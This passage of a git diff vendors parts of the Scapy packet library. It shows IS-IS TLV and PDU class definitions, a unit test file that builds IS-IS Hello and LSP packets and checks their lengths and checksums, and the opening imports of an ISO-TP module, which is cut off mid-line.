"ISIS Link Local/Remote Identifiers (S)" + fields_desc = [ByteEnumField("type", 4, _isis_subtlv_names_1), + FieldLenField("len", 8, fmt="B"), + IntField("localid", "0"), + IntField("remoteid", "0")] + + +class ISIS_IPv6InterfaceAddressSubTlv(ISIS_GenericSubTlv): + name = "ISIS IPv6 Interface Address (S)" + fields_desc = [ByteEnumField("type", 12, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="address", fmt="B"), + IP6Field("address", "::")] + + +class ISIS_IPv6NeighborAddressSubTlv(ISIS_GenericSubTlv): + name = "ISIS IPv6 Neighbor Address (S)" + fields_desc = [ByteEnumField("type", 13, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="address", fmt="B"), + IP6Field("address", "::")] + + +class ISIS_AdministrativeGroupSubTlv(ISIS_GenericSubTlv): + name = "Administrative Group SubTLV (Color)" + fields_desc = [ByteEnumField("code", 3, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="admingroup", fmt="B"), + IPField("admingroup", "0.0.0.1")] + + +class ISIS_MaximumLinkBandwidthSubTlv(ISIS_GenericSubTlv): + name = "Maximum Link Bandwidth SubTLV" + fields_desc = [ByteEnumField("type", 9, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="maxbw", fmt="B"), + IEEEFloatField("maxbw", 1000)] # in B/s + + +class ISIS_MaximumReservableLinkBandwidthSubTlv(ISIS_GenericSubTlv): + name = "Maximum Reservable Link Bandwidth SubTLV" + fields_desc = [ByteEnumField("type", 10, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="maxrsvbw", fmt="B"), + IEEEFloatField("maxrsvbw", 1000)] # in B/s + + +class ISIS_UnreservedBandwidthSubTlv(ISIS_GenericSubTlv): + name = "Unreserved Bandwidth SubTLV" + fields_desc = [ByteEnumField("type", 11, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="unrsvbw", fmt="B"), + FieldListField("unrsvbw", [1000, 1000, 1000, 1000, 1000, 1000, 1000, 1000], IEEEFloatField("", 1000), count_from=lambda pkt: pkt.len / 4)] # in B/s # noqa: E501 + + +class ISIS_TEDefaultMetricSubTlv(ISIS_GenericSubTlv): + name = "TE Default Metric SubTLV" + fields_desc = [ByteEnumField("type", 18, _isis_subtlv_names_1), + FieldLenField("len", None, length_of="temetric", adjust=lambda pkt, x:x - 1, fmt="B"), # noqa: E501 + ThreeBytesField("temetric", 1000)] + + +####################################################################### +# ISIS Sub-TLVs for TLVs 135, 235, 236, and 237 # +####################################################################### +_isis_subtlv_classes_2 = { + 1: "ISIS_32bitAdministrativeTagSubTlv", + 2: "ISIS_64bitAdministrativeTagSubTlv" +} + +_isis_subtlv_names_2 = { + 1: "32-bit Administrative Tag", + 2: "64-bit Administrative Tag" +} + + +def _ISIS_GuessSubTlvClass_2(p, **kargs): + return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_2, "ISIS_GenericSubTlv", p, **kargs) # noqa: E501 + + +class ISIS_32bitAdministrativeTagSubTlv(ISIS_GenericSubTlv): + name = "ISIS 32-bit Administrative Tag (S)" + fields_desc = [ByteEnumField("type", 1, _isis_subtlv_names_2), + FieldLenField("len", None, length_of="tags", fmt="B"), + FieldListField("tags", [], IntField("", 0), count_from=lambda pkt: pkt.len // 4)] # noqa: E501 + + +class ISIS_64bitAdministrativeTagSubTlv(ISIS_GenericSubTlv): + name = "ISIS 64-bit Administrative Tag (S)" + fields_desc = [ByteEnumField("type", 2, _isis_subtlv_names_2), + FieldLenField("len", None, length_of="tags", fmt="B"), + FieldListField("tags", [], LongField("", 0), count_from=lambda pkt: pkt.len // 8)] # noqa: E501 + + +####################################################################### +# ISIS TLVs # +####################################################################### +_isis_tlv_classes = { + 1: "ISIS_AreaTlv", + 2: "ISIS_IsReachabilityTlv", + 6: "ISIS_IsNeighbourTlv", + 8: "ISIS_PaddingTlv", + 9: "ISIS_LspEntryTlv", + 10: "ISIS_AuthenticationTlv", + 12: "ISIS_ChecksumTlv", + 14: "ISIS_BufferSizeTlv", + 22: "ISIS_ExtendedIsReachabilityTlv", + 128: "ISIS_InternalIpReachabilityTlv", + 129: "ISIS_ProtocolsSupportedTlv", + 130: "ISIS_ExternalIpReachabilityTlv", + 132: "ISIS_IpInterfaceAddressTlv", + 135: "ISIS_ExtendedIpReachabilityTlv", + 137: "ISIS_DynamicHostnameTlv", + 232: "ISIS_Ipv6InterfaceAddressTlv", + 236: "ISIS_Ipv6ReachabilityTlv", + 240: "ISIS_P2PAdjacencyStateTlv" +} + +_isis_tlv_names = { + 1: "Area TLV", + 2: "IS Reachability TLV", + 6: "IS Neighbour TLV", + 7: "Instance Identifier TLV", + 8: "Padding TLV", + 9: "LSP Entries TLV", + 10: "Authentication TLV", + 12: "Optional Checksum TLV", + 13: "Purge Originator Identification TLV", + 14: "LSP Buffer Size TLV", + 22: "Extended IS-Reachability TLV", + 23: "IS Neighbour Attribute TLV", + 24: "IS Alias ID", + 128: "IP Internal Reachability TLV", + 129: "Protocols Supported TLV", + 130: "IP External Reachability TLV", + 131: "Inter-Domain Routing Protocol Information TLV", + 132: "IP Interface Address TLV", + 134: "Traffic Engineering Router ID TLV", + 135: "Extended IP Reachability TLV", + 137: "Dynamic Hostname TLV", + 138: "GMPLS Shared Risk Link Group TLV", + 139: "IPv6 Shared Risk Link Group TLV", + 140: "IPv6 Traffic Engineering Router ID TLV", + 141: "Inter-AS Reachability Information TLV", + 142: "Group Address TLV", + 143: "Multi-Topology-Aware Port Capability TLV", + 144: "Multi-Topology Capability TLV", + 145: "TRILL Neighbour TLV", + 147: "MAC-Reachability TLV", + 148: "BFD-Enabled TLV", + 211: "Restart TLV", + 222: "Multi-Topology Intermediate Systems TLV", + 223: "Multi-Topology IS Neighbour Attributes TLV", + 229: "Multi-Topology TLV", + 232: "IPv6 Interface Address TLV", + 233: "IPv6 Global Interface Address TLV", + 235: "Multi-Topology IPv4 Reachability TLV", + 236: "IPv6 Reachability TLV", + 237: "Multi-Topology IPv6 Reachability TLV", + 240: "Point-to-Point Three-Way Adjacency TLV", + 242: "IS-IS Router Capability TLV", + 251: "Generic Information TLV" +} + + +def _ISIS_GuessTlvClass(p, **kargs): + return _ISIS_GuessTlvClass_Helper(_isis_tlv_classes, "ISIS_GenericTlv", p, **kargs) # noqa: E501 + + +class ISIS_AreaEntry(Packet): + name = "ISIS Area Entry" + fields_desc = [FieldLenField("arealen", None, length_of="areaid", fmt="B"), + ISIS_AreaIdField("areaid", "49", length_from=lambda pkt: pkt.arealen)] # noqa: E501 + + def extract_padding(self, s): + return "", s + + +class ISIS_AreaTlv(ISIS_GenericTlv): + name = "ISIS Area TLV" + fields_desc = [ByteEnumField("type", 1, _isis_tlv_names), + FieldLenField("len", None, length_of="areas", fmt="B"), + PacketListField("areas", [], ISIS_AreaEntry, length_from=lambda x: x.len)] # noqa: E501 + + +class ISIS_AuthenticationTlv(ISIS_GenericTlv): + name = "ISIS Authentication TLV" + fields_desc = [ByteEnumField("type", 10, _isis_tlv_names), + FieldLenField("len", None, length_of="password", adjust=lambda pkt, x: x + 1, fmt="B"), # noqa: E501 + ByteEnumField("authtype", 1, {1: "Plain", 17: "HMAC-MD5"}), + BoundStrLenField("password", "", maxlen=254, length_from=lambda pkt: pkt.len - 1)] # noqa: E501 + + +class ISIS_BufferSizeTlv(ISIS_GenericTlv): + name = "ISIS Buffer Size TLV" + fields_desc = [ByteEnumField("type", 14, _isis_tlv_names), + ByteField("len", 2), + ShortField("lspbuffersize", 1497)] + + +class ISIS_ChecksumTlv(ISIS_GenericTlv): + name = "ISIS Optional Checksum TLV" + fields_desc = [ByteEnumField("type", 12, _isis_tlv_names), + ByteField("len", 2), + XShortField("checksum", None)] + + +class ISIS_DynamicHostnameTlv(ISIS_GenericTlv): + name = "ISIS Dynamic Hostname TLV" + fields_desc = [ByteEnumField("type", 137, _isis_tlv_names), + FieldLenField("len", None, length_of="hostname", fmt="B"), + BoundStrLenField("hostname", "", length_from=lambda pkt: pkt.len)] # noqa: E501 + + +class ISIS_ExtendedIpPrefix(Packet): + name = "ISIS Extended IP Prefix" + fields_desc = [ + IntField("metric", 1), + BitField("updown", 0, 1), + BitField("subtlvindicator", 0, 1), + BitFieldLenField("pfxlen", None, 6, length_of="pfx"), + IPPrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen), # noqa: E501 + ConditionalField(FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), lambda pkt: pkt.subtlvindicator == 1), # noqa: E501 + ConditionalField(PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1) # noqa: E501 + ] + + def extract_padding(self, s): + return "", s + + +class ISIS_TERouterIDTlv(ISIS_GenericTlv): + name = "ISIS TE Router ID TLV" + fields_desc = [ByteEnumField("type", 134, _isis_tlv_names), + FieldLenField("len", None, length_of="routerid", fmt="B"), + IPField("routerid", "0.0.0.0")] + + +class ISIS_ExtendedIpReachabilityTlv(ISIS_GenericTlv): + name = "ISIS Extended IP Reachability TLV" + fields_desc = [ByteEnumField("type", 135, _isis_tlv_names), + FieldLenField("len", None, length_of="pfxs", fmt="B"), + PacketListField("pfxs", [], ISIS_ExtendedIpPrefix, length_from=lambda pkt: pkt.len)] # noqa: E501 + + +class ISIS_ExtendedIsNeighbourEntry(Packet): + name = "ISIS Extended IS Neighbour Entry" + fields_desc = [ + ISIS_NodeIdField("neighbourid", "0102.0304.0506.07"), + ThreeBytesField("metric", 1), + FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), + PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_1, length_from=lambda x: x.subtlvslen) # noqa: E501 + ] + + def extract_padding(self, s): + return "", s + + +class ISIS_ExtendedIsReachabilityTlv(ISIS_GenericTlv): + name = "ISIS Extended IS Reachability TLV" + fields_desc = [ByteEnumField("type", 22, _isis_tlv_names), + FieldLenField("len", None, length_of="neighbours", fmt="B"), + PacketListField("neighbours", [], ISIS_ExtendedIsNeighbourEntry, length_from=lambda x: x.len)] # noqa: E501 + + +class ISIS_IpInterfaceAddressTlv(ISIS_GenericTlv): + name = "ISIS IP Interface Address TLV" + fields_desc = [ByteEnumField("type", 132, _isis_tlv_names), + FieldLenField("len", None, length_of="addresses", fmt="B"), + FieldListField("addresses", [], IPField("", "0.0.0.0"), count_from=lambda pkt: pkt.len // 4)] # noqa: E501 + + +class ISIS_Ipv6InterfaceAddressTlv(ISIS_GenericTlv): + name = "ISIS IPv6 Interface Address TLV" + fields_desc = [ + ByteEnumField("type", 232, _isis_tlv_names), + FieldLenField("len", None, length_of="addresses", fmt="B"), + IP6ListField("addresses", [], count_from=lambda pkt: pkt.len // 16) + ] + + +class ISIS_Ipv6Prefix(Packet): + name = "ISIS IPv6 Prefix" + fields_desc = [ + IntField("metric", 1), + BitField("updown", 0, 1), + BitField("external", 0, 1), + BitField("subtlvindicator", 0, 1), + BitField("reserved", 0, 5), + FieldLenField("pfxlen", None, length_of="pfx", fmt="B"), + IP6PrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen), # noqa: E501 + ConditionalField(FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), lambda pkt: pkt.subtlvindicator == 1), # noqa: E501 + ConditionalField(PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1) # noqa: E501 + ] + + def extract_padding(self, s): + return "", s + + +class ISIS_Ipv6ReachabilityTlv(ISIS_GenericTlv): + name = "ISIS IPv6 Reachability TLV" + fields_desc = [ByteEnumField("type", 236, _isis_tlv_names), + FieldLenField("len", None, length_of="pfxs", fmt="B"), + PacketListField("pfxs", [], ISIS_Ipv6Prefix, length_from=lambda pkt: pkt.len)] # noqa: E501 + + +class ISIS_IsNeighbourTlv(ISIS_GenericTlv): + name = "ISIS IS Neighbour TLV" + fields_desc = [ByteEnumField("type", 6, _isis_tlv_names), + FieldLenField("len", None, length_of="neighbours", fmt="B"), + FieldListField("neighbours", [], MACField("", "00.00.00.00.00.00"), count_from=lambda pkt: pkt.len // 6)] # noqa: E501 + + +class ISIS_LspEntry(Packet): + name = "ISIS LSP Entry" + fields_desc = [ShortField("lifetime", 1200), + ISIS_LspIdField("lspid", "0102.0304.0506.07-08"), + XIntField("seqnum", 0x00000001), + XShortField("checksum", None)] + + def extract_padding(self, s): + return "", s + + +class ISIS_LspEntryTlv(ISIS_GenericTlv): + name = "ISIS LSP Entry TLV" + fields_desc = [ + ByteEnumField("type", 9, _isis_tlv_names), + FieldLenField("len", None, length_of="entries", fmt="B"), + PacketListField("entries", [], ISIS_LspEntry, count_from=lambda pkt: pkt.len // 16) # noqa: E501 + ] + + +class _AdjacencyStateTlvLenField(Field): + def i2m(self, pkt, x): + if pkt.neighbourextlocalcircuitid is not None: + return 15 + + if pkt.neighboursystemid is not None: + return 11 + + if pkt.extlocalcircuitid is not None: + return 5 + + return 1 + + +class ISIS_P2PAdjacencyStateTlv(ISIS_GenericTlv): + name = "ISIS P2P Adjacency State TLV" + fields_desc = [ByteEnumField("type", 240, _isis_tlv_names), + _AdjacencyStateTlvLenField("len", None, fmt="B"), + ByteEnumField("state", "Down", {0x2: "Down", 0x1: "Initialising", 0x0: "Up"}), # noqa: E501 + ConditionalField(IntField("extlocalcircuitid", None), lambda pkt: pkt.len >= 5), # noqa: E501 + ConditionalField(ISIS_SystemIdField("neighboursystemid", None), lambda pkt: pkt.len >= 11), # noqa: E501 + ConditionalField(IntField("neighbourextlocalcircuitid", None), lambda pkt: pkt.len == 15)] # noqa: E501 + + +# TODO dynamically allocate sufficient size +class ISIS_PaddingTlv(ISIS_GenericTlv): + name = "ISIS Padding TLV" + fields_desc = [ + ByteEnumField("type", 8, _isis_tlv_names), + FieldLenField("len", None, length_of="padding", fmt="B"), + BoundStrLenField("padding", "", length_from=lambda pkt: pkt.len) + ] + + +class ISIS_ProtocolsSupportedTlv(ISIS_GenericTlv): + name = "ISIS Protocols Supported TLV" + fields_desc = [ + ByteEnumField("type", 129, _isis_tlv_names), + FieldLenField("len", None, count_of="nlpids", fmt="B"), + FieldListField("nlpids", [], ByteEnumField("", "IPv4", network_layer_protocol_ids), count_from=lambda pkt: pkt.len) # noqa: E501 + ] + + +####################################################################### +# ISIS Old-Style TLVs # +####################################################################### + +class ISIS_IpReachabilityEntry(Packet): + name = "ISIS IP Reachability" + fields_desc = [ByteField("defmetric", 1), + ByteField("delmetric", 0x80), + ByteField("expmetric", 0x80), + ByteField("errmetric", 0x80), + IPField("ipaddress", "0.0.0.0"), + IPField("subnetmask", "255.255.255.255")] + + def extract_padding(self, s): + return "", s + + +class ISIS_InternalIpReachabilityTlv(ISIS_GenericTlv): + name = "ISIS Internal IP Reachability TLV" + fields_desc = [ + ByteEnumField("type", 128, _isis_tlv_names), + FieldLenField("len", None, length_of="entries", fmt="B"), + PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12) # noqa: E501 + ] + + +class ISIS_ExternalIpReachabilityTlv(ISIS_GenericTlv): + name = "ISIS External IP Reachability TLV" + fields_desc = [ + ByteEnumField("type", 130, _isis_tlv_names), + FieldLenField("len", None, length_of="entries", fmt="B"), + PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12) # noqa: E501 + ] + + +class ISIS_IsReachabilityEntry(Packet): + name = "ISIS IS Reachability" + fields_desc = [ByteField("defmetric", 1), + ByteField("delmetric", 0x80), + ByteField("expmetric", 0x80), + ByteField("errmetric", 0x80), + ISIS_NodeIdField("neighbourid", "0102.0304.0506.07")] + + def extract_padding(self, s): + return "", s + + +class ISIS_IsReachabilityTlv(ISIS_GenericTlv): + name = "ISIS IS Reachability TLV" + fields_desc = [ + ByteEnumField("type", 2, _isis_tlv_names), + FieldLenField("len", None, fmt="B", length_of="neighbours", adjust=lambda pkt, x: x + 1), # noqa: E501 + ByteField("virtual", 0), + PacketListField("neighbours", [], ISIS_IsReachabilityEntry, count_from=lambda x: (x.len - 1) // 11) # noqa: E501 + ] + + +####################################################################### +# ISIS PDU Packets # +####################################################################### +_isis_pdu_names = { + 15: "L1 LAN Hello", + 16: "L2 LAN Hello", + 17: "P2P Hello", + 18: "L1 LSP", + 20: "L2 LSP", + 24: "L1 CSNP", + 25: "L2 CSNP", + 26: "L1 PSNP", + 27: "L2 PSNP" +} + + +class ISIS_CommonHdr(Packet): + name = "ISIS Common Header" + fields_desc = [ + ByteEnumField("nlpid", 0x83, network_layer_protocol_ids), + ByteField("hdrlen", None), + ByteField("version", 1), + ByteField("idlen", 0), + ByteEnumField("pdutype", None, _isis_pdu_names), + ByteField("pduversion", 1), + ByteField("hdrreserved", 0), + ByteField("maxareaaddr", 0) + ] + + def post_build(self, pkt, pay): + # calculating checksum if requested + pdu = pkt + pay + checksumInfo = self[1].checksum_info(self.hdrlen) + + if checksumInfo is not None: + (cbegin, cpos) = checksumInfo + checkbytes = fletcher16_checkbytes(pdu[cbegin:], (cpos - cbegin)) + pdu = pdu[:cpos] + checkbytes + pdu[cpos + 2:] + + return pdu + + +class _ISIS_PduBase(Packet): + def checksum_info(self, hdrlen): + checksumPosition = hdrlen + for tlv in self.tlvs: + if isinstance(tlv, ISIS_ChecksumTlv): + checksumPosition += 2 + return (0, checksumPosition) + else: + checksumPosition += len(tlv) + + return None + + def guess_payload_class(self, p): + return conf.padding_layer + + +class _ISIS_PduLengthField(FieldLenField): + def __init__(self): + FieldLenField.__init__(self, "pdulength", None, length_of="tlvs", adjust=lambda pkt, x: x + pkt.underlayer.hdrlen) # noqa: E501 + + +class _ISIS_TlvListField(PacketListField): + def __init__(self): + PacketListField.__init__(self, "tlvs", [], _ISIS_GuessTlvClass, length_from=lambda pkt: pkt.pdulength - pkt.underlayer.hdrlen) # noqa: E501 + + +class _ISIS_LAN_HelloBase(_ISIS_PduBase): + fields_desc = [ + ISIS_CircuitTypeField(), + ISIS_SystemIdField("sourceid", "0102.0304.0506"), + ShortField("holdingtime", 30), + _ISIS_PduLengthField(), + ByteField("priority", 1), + ISIS_NodeIdField("lanid", "0000.0000.0000.00"), + _ISIS_TlvListField() + ] + + +class ISIS_L1_LAN_Hello(_ISIS_LAN_HelloBase): + name = "ISIS L1 LAN Hello PDU" + + +class ISIS_L2_LAN_Hello(_ISIS_LAN_HelloBase): + name = "ISIS L2 LAN Hello PDU" + + +class ISIS_P2P_Hello(_ISIS_PduBase): + name = "ISIS Point-to-Point Hello PDU" + + fields_desc = [ + ISIS_CircuitTypeField(), + ISIS_SystemIdField("sourceid", "0102.0304.0506"), + ShortField("holdingtime", 30), + _ISIS_PduLengthField(), + ByteField("localcircuitid", 0), + _ISIS_TlvListField() + ] + + +class _ISIS_LSP_Base(_ISIS_PduBase): + fields_desc = [ + _ISIS_PduLengthField(), + ShortField("lifetime", 1199), + ISIS_LspIdField("lspid", "0102.0304.0506.00-00"), + XIntField("seqnum", 0x00000001), + XShortField("checksum", None), + FlagsField("typeblock", 0x03, 8, ["L1", "L2", "OL", "ADef", "ADel", "AExp", "AErr", "P"]), # noqa: E501 + _ISIS_TlvListField() + ] + + def checksum_info(self, hdrlen): + if self.checksum is not None: + return None + + return (12, 24) + + +def _lsp_answers(lsp, other, clsname): + # TODO + return 0 + + +class ISIS_L1_LSP(_ISIS_LSP_Base): + name = "ISIS L1 Link State PDU" + + def answers(self, other): + return _lsp_answers(self, other, "ISIS_L1_PSNP") + + +class ISIS_L2_LSP(_ISIS_LSP_Base): + name = "ISIS L2 Link State PDU" + + def answers(self, other): + return _lsp_answers(self, other, "ISIS_L2_PSNP") + + +class _ISIS_CSNP_Base(_ISIS_PduBase): + fields_desc = [ + _ISIS_PduLengthField(), + ISIS_NodeIdField("sourceid", "0102.0304.0506.00"), + ISIS_LspIdField("startlspid", "0000.0000.0000.00-00"), + ISIS_LspIdField("endlspid", "FFFF.FFFF.FFFF.FF-FF"), + _ISIS_TlvListField() + ] + + +def _snp_answers(snp, other, clsname): + # TODO + return 0 + + +class ISIS_L1_CSNP(_ISIS_CSNP_Base): + name = "ISIS L1 Complete Sequence Number Packet" + + def answers(self, other): + return _snp_answers(self, other, "ISIS_L1_LSP") + + +class ISIS_L2_CSNP(_ISIS_CSNP_Base): + name = "ISIS L2 Complete Sequence Number Packet" + + def answers(self, other): + return _snp_answers(self, other, "ISIS_L2_LSP") + + +class _ISIS_PSNP_Base(_ISIS_PduBase): + fields_desc = [ + _ISIS_PduLengthField(), + ISIS_NodeIdField("sourceid", "0102.0304.0506.00"), + _ISIS_TlvListField() + ] + + +class ISIS_L1_PSNP(_ISIS_PSNP_Base): + name = "ISIS L1 Partial Sequence Number Packet" + + def answers(self, other): + return _snp_answers(self, other, "ISIS_L1_LSP") + + +class ISIS_L2_PSNP(_ISIS_PSNP_Base): + name = "ISIS L2 Partial Sequence Number Packet" + + def answers(self, other): + return _snp_answers(self, other, "ISIS_L2_LSP") + + +register_cln_protocol(0x83, ISIS_CommonHdr) +bind_layers(ISIS_CommonHdr, ISIS_L1_LAN_Hello, hdrlen=27, pdutype=15) +bind_layers(ISIS_CommonHdr, ISIS_L2_LAN_Hello, hdrlen=27, pdutype=16) +bind_layers(ISIS_CommonHdr, ISIS_P2P_Hello, hdrlen=20, pdutype=17) +bind_layers(ISIS_CommonHdr, ISIS_L1_LSP, hdrlen=27, pdutype=18) +bind_layers(ISIS_CommonHdr, ISIS_L2_LSP, hdrlen=27, pdutype=20) +bind_layers(ISIS_CommonHdr, ISIS_L1_CSNP, hdrlen=33, pdutype=24) +bind_layers(ISIS_CommonHdr, ISIS_L2_CSNP, hdrlen=33, pdutype=25) +bind_layers(ISIS_CommonHdr, ISIS_L1_PSNP, hdrlen=17, pdutype=26) +bind_layers(ISIS_CommonHdr, ISIS_L2_PSNP, hdrlen=17, pdutype=27) diff --git a/libs/scapy/contrib/isis.uts b/libs/scapy/contrib/isis.uts new file mode 100755 index 0000000..78302be --- /dev/null +++ b/libs/scapy/contrib/isis.uts @@ -0,0 +1,145 @@ +% IS-IS Tests +* Tests for the IS-IS layer + ++ Syntax check + += Import the isis layer +from scapy.contrib.isis import * + ++ Basic Layer Tests + += Layer Binding +p = Dot3()/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello() +assert(p[LLC].dsap == 0xfe) +assert(p[LLC].ssap == 0xfe) +assert(p[LLC].ctrl == 0x03) +assert(p[ISIS_CommonHdr].nlpid == 0x83) +assert(p[ISIS_CommonHdr].pdutype == 17) +assert(p[ISIS_CommonHdr].hdrlen == 20) + ++ Package Tests + += P2P Hello +p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello( + holdingtime=40, sourceid="1720.1600.8016", + tlvs=[ + ISIS_ProtocolsSupportedTlv(nlpids=["IPv4", "IPv6"]) + ]) +p = p.__class__(raw(p)) +assert(p[ISIS_P2P_Hello].pdulength == 24) +assert(network_layer_protocol_ids[p[ISIS_ProtocolsSupportedTlv].nlpids[1]] == "IPv6") + += LSP +p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP( + lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2", + tlvs=[ + ISIS_AreaTlv( + areas=[ISIS_AreaEntry(areaid="49.1000")] + ), + ISIS_ProtocolsSupportedTlv( + nlpids=["IPv4", "IPv6"] + ), + ISIS_DynamicHostnameTlv( + hostname="BR-HH" + ), + ISIS_IpInterfaceAddressTlv( + addresses=["172.16.8.16"] + ), + ISIS_GenericTlv( + type=134, + val=b"\xac\x10\x08\x10" + ), + ISIS_ExtendedIpReachabilityTlv( + pfxs=[ + ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"), + ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30"), + ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30") + ] + ), + ISIS_Ipv6ReachabilityTlv( + pfxs=[ + ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"), + ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64"), + ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64") + ] + ), + ISIS_ExtendedIsReachabilityTlv( + neighbours=[ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10)] + ) + ]) +p = p.__class__(raw(p)) +assert(p[ISIS_L2_LSP].pdulength == 150) +assert(p[ISIS_L2_LSP].checksum == 0x8701) + += LSP with Sub-TLVs +p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP( + lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2", + tlvs=[ + ISIS_AreaTlv( + areas=[ISIS_AreaEntry(areaid="49.1000")] + ), + ISIS_ProtocolsSupportedTlv( + nlpids=["IPv4", "IPv6"] + ), + ISIS_DynamicHostnameTlv( + hostname="BR-HH" + ), + ISIS_IpInterfaceAddressTlv( + addresses=["172.16.8.16"] + ), + ISIS_GenericTlv( + type=134, + val=b"\xac\x10\x08\x10" + ), + ISIS_ExtendedIpReachabilityTlv( + pfxs=[ + ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"), + ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30", subtlvindicator=1, + subtlvs=[ + ISIS_32bitAdministrativeTagSubTlv(tags=[321, 123]), + ISIS_64bitAdministrativeTagSubTlv(tags=[54321, 4294967311]) + ]), + ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30", subtlvindicator=1, + subtlvs=[ + ISIS_GenericSubTlv(type=123, val=b"\x11\x1f\x01\x1c") + ]) + ] + ), + ISIS_Ipv6ReachabilityTlv( + pfxs=[ + ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"), + ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64", subtlvindicator=1, + subtlvs=[ + ISIS_GenericSubTlv(type=99, val=b"\x1f\x01\x1f\x01\x11\x1f\x01\x1c") + ]), + ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64") + ] + ), + ISIS_ExtendedIsReachabilityTlv( + neighbours=[ + ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10, + subtlvs=[ + ISIS_IPv4InterfaceAddressSubTlv(address="172.16.8.4"), + ISIS_LinkLocalRemoteIdentifiersSubTlv(localid=418, remoteid=54321), + ISIS_IPv6NeighborAddressSubTlv(address="fe10:1::5"), + ISIS_MaximumLinkBandwidthSubTlv(maxbw=125000000), + ISIS_UnreservedBandwidthSubTlv(unrsvbw=[125000000, 125000000, 125000000, 125000000, 125000000, 125000000, 125000000, 125000000]), + ISIS_TEDefaultMetricSubTlv(temetric=16777214) + ]) + ] + ), + ISIS_ExternalIpReachabilityTlv( + type=130 + ) + ]) +p = p.__class__(raw(p)) +assert(p[ISIS_L2_LSP].pdulength == 278) +assert(p[ISIS_L2_LSP].checksum == 0xc0a9) +assert(p[ISIS_ExtendedIpReachabilityTlv].pfxs[1].subtlvs[1].tags[0]==54321) +assert(p[ISIS_Ipv6ReachabilityTlv].pfxs[1].subtlvs[0].len==8) +assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[0].address=='172.16.8.4') +assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[1].localid==418) +assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[3].maxbw==125000000) +assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[4].unrsvbw[0]==125000000) +assert(p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[5].temetric==16777214) +assert(p[ISIS_ExternalIpReachabilityTlv].type==130) diff --git a/libs/scapy/contrib/isotp.py b/libs/scapy/contrib/isotp.py new file mode 100755 index 0000000..baa8574 --- /dev/null +++ b/libs/scapy/contrib/isotp.py @@ -0,0 +1,2275 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# Copyright (C) Enrico Pozzobon +# Copyright (C) Alexander Schroeder +# This program is published under a GPLv2 license + +# scapy.contrib.description = ISO-TP (ISO 15765-2) +# scapy.contrib.status = loads + +""" +ISOTPSocket. +""" + + +import ctypes +from ctypes.util import find_library +import struct +import socket +import time +import traceback +import heapq +from threading import Thread, Event, Lock + +from scapy.packet import Packet +from scapy.fields import BitField, FlagsField, StrLenField, \ + ThreeBytesField, XBitField, ConditionalField, \ + BitEnumField, ByteField, XByteField, BitFieldLenField, StrField +from scapy.compat import chb, orb +from scapy.layers.can import CAN +import scapy.modules.six as six +import scapy.automaton as automaton +import six.moves.queue as queue +from scapy.error import Scapy_Exception, warning, log_loading, log_runtime +from scapy.supersocket import SuperSocket, SO_TIMESTAMPNS +from scapy.config import conf +from scapy.consts import LINUX +from scapy.contrib.cansocket import PYTHON_CAN +from scapy.sendrecv import sniff +from scapy.sessions import DefaultSession + +__all__ = ["ISOTP", "ISOTPHeader", "ISOTPHeaderEA", "ISOTP_SF", "ISOTP_FF", + "ISOTP_CF", "ISOTP_FC", "ISOTPSoftSocket", "ISOTPSession", + "ISOTPSocket", "ISOTPSocketImplementation", "ISOTPMessageBuilder", + "ISOTPScan"] + +USE_CAN_ISOTP_KERNEL_MODULE = False +if six.PY3 and LINUX: + LIBC = ctypes.cdll.LoadLibrary(find_library("c")) + try: + if conf.contribs['ISOTP']['use-can-isotp-kernel-module']: + USE_CAN_ISOTP_KERNEL_MODULE 